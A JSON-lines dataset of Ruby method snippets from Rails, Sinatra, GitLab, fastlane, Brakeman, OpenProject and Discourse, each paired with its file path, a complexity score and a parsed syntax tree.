{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cookie_store_test.rb","start_line":201,"raw_source":"def test_close_raises_when_data_overflows\n    with_test_route_set do\n      error = assert_raise(ActionDispatch::Cookies::CookieOverflow) {\n        get \"/raise_data_overflow\"\n      }\n      assert_equal \"_myapp_session cookie overflowed with size 5626 bytes\", error.message\n    end\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_close_raises_when_data_overflows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Cookies\"]},\"CookieOverflow\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/raise_data_overflow\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"_myapp_session cookie overflowed with size 5626 bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}]}","id":"7547811c-f805-4150-8451-69cfd761cef1"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1732,"raw_source":"def define_singleton(name, content = Proc.new)\n        singleton_class.class_eval do\n          undef_method(name) if method_defined? name\n          String === content ? class_eval(\"def #{name}() #{content}; end\") : define_method(name, &content)\n        end\n      end","complexity_score":32.3,"ast_json":"{\"type\":\"def\",\"children\":[\"define_singleton\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singleton_class\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_defined?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"undef_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"() \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\"; end\"]}]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}]}","id":"aa4c9f2d-3c0e-45e1-bfaf-03ff1ead2070"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/update_delayed_project_removal_to_null_for_user_namespaces.rb","start_line":16,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          set_delayed_project_removal_to_null_for_user_namespace(sub_batch)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[null,\"set_delayed_project_removal_to_null_for_user_namespace\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]}]}]}","id":"7ca707e4-c08f-4f54-a4d3-c79f1d6493db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/merge_request_presenter.rb","start_line":194,"raw_source":"def subscribed?\n    merge_request.subscribed?(current_user, merge_request.target_project)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"subscribed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"target_project\"]}]}]}","id":"2d5256a2-b867-478c-ab93-c9abb89ad9e7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/documentation/markdown_docs_generator.rb","start_line":133,"raw_source":"def generate!(target_path: nil)\n      require 'yaml'\n      FileUtils.mkdir_p(target_path)\n      docs_dir = File.join(target_path, \"docs\")\n      generated_actions_dir = File.join(\"generated\", \"actions\")\n      FileUtils.mkdir_p(File.join(docs_dir, generated_actions_dir))\n\n      # Generate actions.md\n      template = File.join(Fastlane::ROOT, \"lib/assets/Actions.md.erb\")\n      result = ERB.new(File.read(template), 0, '-').result(binding) # https://web.archive.org/web/20160430190141/www.rrn.dk/rubys-erb-templating-system\n      File.write(File.join(docs_dir, \"generated\", \"actions.md\"), result)\n\n      # Generate actions sub pages (e.g. generated/actions/slather.md, generated/actions/scan.md)\n      all_actions_ref_yml = []\n      FileUtils.mkdir_p(File.join(docs_dir, generated_actions_dir))\n      ActionsList.all_actions do |action|\n        @action = action # to provide a reference in the .html.erb template\n        @action_filename = filename_for_action(action)\n\n        unless @action_filename\n          next\n        end\n\n        # Make sure to always assign `@custom_content`, as we're in a loop and `@` is needed for the `erb`\n        @custom_content = load_custom_action_md(action)\n\n        if action.superclass != Fastlane::Action\n          # This means, the current method is an alias\n          # meaning we're gonna look if the parent class\n          # has a custom md file.\n          # e.g. `DeliverAction`'s superclass is `UploadToAppStoreAction`\n          @custom_content ||= load_custom_action_md(action.superclass)\n        end\n\n        template = File.join(Fastlane::ROOT, \"lib/assets/ActionDetails.md.erb\")\n        result = ERB.new(File.read(template), 0, '-').result(binding) # https://web.archive.org/web/20160430190141/www.rrn.dk/rubys-erb-templating-system\n\n        # Actions get placed in \"generated/actions\" directory\n        file_name = File.join(generated_actions_dir, \"#{action.action_name}.md\")\n        File.write(File.join(docs_dir, file_name), result)\n\n        # The action pages when published get moved to the \"actions\" directory\n        # The mkdocs.yml file needs to reference the \"actions\" directory (not the \"generated/actions\" directory)\n        published_file_name = File.join(\"actions\", \"#{action.action_name}.md\")\n        all_actions_ref_yml << { action.action_name => published_file_name }\n      end\n\n      # Modify the mkdocs.yml to list all the actions\n      mkdocs_yml_path = File.join(target_path, \"mkdocs.yml\")\n      raise \"Could not find mkdocs.yml in #{target_path}, make sure to point to the fastlane/docs repo\" unless File.exist?(mkdocs_yml_path)\n      mkdocs_yml = YAML.load_file(mkdocs_yml_path)\n      hidden_actions_array = mkdocs_yml[\"nav\"].find { |p| !p[\"_Actions\"].nil? }\n      hidden_actions_array[\"_Actions\"] = all_actions_ref_yml\n      File.write(mkdocs_yml_path, mkdocs_yml.to_yaml)\n\n      # Copy over the assets from the `actions/docs/assets` directory\n      Dir[File.join(custom_action_docs_path, \"assets\", \"*\")].each do |current_asset_path|\n        UI.message(\"Copying asset #{current_asset_path}\")\n        FileUtils.cp(current_asset_path, File.join(docs_dir, \"img\", \"actions\", File.basename(current_asset_path)))\n      end\n\n      UI.success(\"Generated new docs on path #{target_path}\")\n    end","complexity_score":91.5,"ast_json":"{\"type\":\"def\",\"children\":[\"generate!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"target_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"yaml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"target_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"docs_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"target_path\"]},{\"type\":\"str\",\"children\":[\"docs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"generated_actions_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"generated\"]},{\"type\":\"str\",\"children\":[\"actions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"docs_dir\"]},{\"type\":\"lvar\",\"children\":[\"generated_actions_dir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"ROOT\"]},{\"type\":\"str\",\"children\":[\"lib/assets/Actions.md.erb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"-\"]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"docs_dir\"]},{\"type\":\"str\",\"children\":[\"generated\"]},{\"type\":\"str\",\"children\":[\"actions.md\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_actions_ref_yml\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"docs_dir\"]},{\"type\":\"lvar\",\"children\":[\"generated_actions_dir\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionsList\"]},\"all_actions\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@action\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@action_filename\",{\"type\":\"send\",\"children\":[null,\"filename_for_action\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@action_filename\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_content\",{\"type\":\"send\",\"children\":[null,\"load_custom_action_md\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"superclass\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Action\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_content\"]},{\"type\":\"send\",\"children\":[null,\"load_custom_action_md\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"superclass\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"ROOT\"]},{\"type\":\"str\",\"children\":[\"lib/assets/ActionDetails.md.erb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"-\"]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"generated_actions_dir\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"action_name\"]}]},{\"type\":\"str\",\"children\":[\".md\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"docs_dir\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvasgn\",\"children\":[\"published_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"actions\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"action_name\"]}]},{\"type\":\"str\",\"children\":[\".md\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_actions_ref_yml\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"action_name\"]},{\"type\":\"lvar\",\"children\":[\"published_file_name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mkdocs_yml_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"target_path\"]},{\"type\":\"str\",\"children\":[\"mkdocs.yml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"mkdocs_yml_path\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find mkdocs.yml in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_path\"]}]},{\"type\":\"str\",\"children\":[\", make sure to point to the fastlane/docs repo\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mkdocs_yml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"mkdocs_yml_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hidden_actions_array\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mkdocs_yml\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nav\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"_Actions\"]}]},\"nil?\"]},\"!\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden_actions_array\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"_Actions\"]},{\"type\":\"lvar\",\"children\":[\"all_actions_ref_yml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"mkdocs_yml_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mkdocs_yml\"]},\"to_yaml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"custom_action_docs_path\"]},{\"type\":\"str\",\"children\":[\"assets\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_asset_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Copying asset \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_asset_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp\",{\"type\":\"lvar\",\"children\":[\"current_asset_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"docs_dir\"]},{\"type\":\"str\",\"children\":[\"img\"]},{\"type\":\"str\",\"children\":[\"actions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"current_asset_path\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generated new docs on path \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_path\"]}]}]}]}]}]}","id":"8be1f330-bf38-464b-9bcc-aa0f2cef45f4"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker/collection.rb","start_line":25,"raw_source":"def ancestor? parent, seen={}\n      seen[self.name] = true\n\n      if self.parent == parent or self.name == parent or seen[self.parent]\n        true\n      elsif parent_model = collection[self.parent]\n        parent_model.ancestor? parent, seen\n      else\n        false\n      end\n    end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestor?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"optarg\",\"children\":[\"seen\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seen\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seen\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent\"]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_model\"]},\"ancestor?\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"seen\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"07da7fb0-c584-4d60-8bc8-65e1303e8f5f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handlers.rb","start_line":48,"raw_source":"def note_hook(payload)\n        with_logging(\"note_hook\") do\n          OpenProject::GitlabIntegration::NotificationHandler::NoteHook.new.process(payload)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"note_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_logging\",{\"type\":\"str\",\"children\":[\"note_hook\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"GitlabIntegration\"]},\"NotificationHandler\"]},\"NoteHook\"]},\"new\"]},\"process\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"48e4f164-1fc7-4d2b-b466-e6b5d0dcb310"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":180,"raw_source":"def test_timestamps_doesnt_set_precision_on_change_table_with_bulk\n          migration = Class.new(ActiveRecord::Migration[5.2]) {\n            def migrate(x)\n              change_table :testings, bulk: true do |t|\n                t.timestamps\n              end\n            end\n          }.new\n\n          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n\n          assert connection.column_exists?(:testings, :created_at, null: false, **precision_implicit_default)\n          assert connection.column_exists?(:testings, :updated_at, null: false, **precision_implicit_default)\n        end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_timestamps_doesnt_set_precision_on_change_table_with_bulk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[5.2]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"column_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"precision_implicit_default\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"column_exists?\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"precision_implicit_default\"]}]}]}]}]}]}]}","id":"b8831431-567a-48b5-8379-805cd2226eee"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/instrumentation_test.rb","start_line":12,"raw_source":"def setup\n      ActiveRecord::Base.schema_cache.add(Book.table_name)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"schema_cache\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"table_name\"]}]}]}","id":"1a718133-34ff-4c77-9e06-b031b7833dae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":76,"raw_source":"def handle_assignees_change(merge_request, old_assignees)\n      MergeRequests::HandleAssigneesChangeService\n        .new(project: project, current_user: current_user)\n        .async_execute(merge_request, old_assignees)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_assignees_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"old_assignees\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequests\"]},\"HandleAssigneesChangeService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"async_execute\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]}]}","id":"c8dd06fc-016c-4f8f-8821-7901f99880b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/distributed_mutex.rb","start_line":37,"raw_source":"def initialize(key, redis: nil, validity: DEFAULT_VALIDITY)\n    @key = key\n    @using_global_redis = true if !redis\n    @redis = redis || Discourse.redis\n    @mutex = Mutex.new\n    @validity = validity.to_i\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwoptarg\",\"children\":[\"redis\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"validity\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_VALIDITY\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"!\"]},{\"type\":\"ivasgn\",\"children\":[\"@using_global_redis\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@redis\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@validity\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validity\"]},\"to_i\"]}]}]}]}","id":"8a78ac5e-c0bd-4a97-af44-2960dcf55c58"}
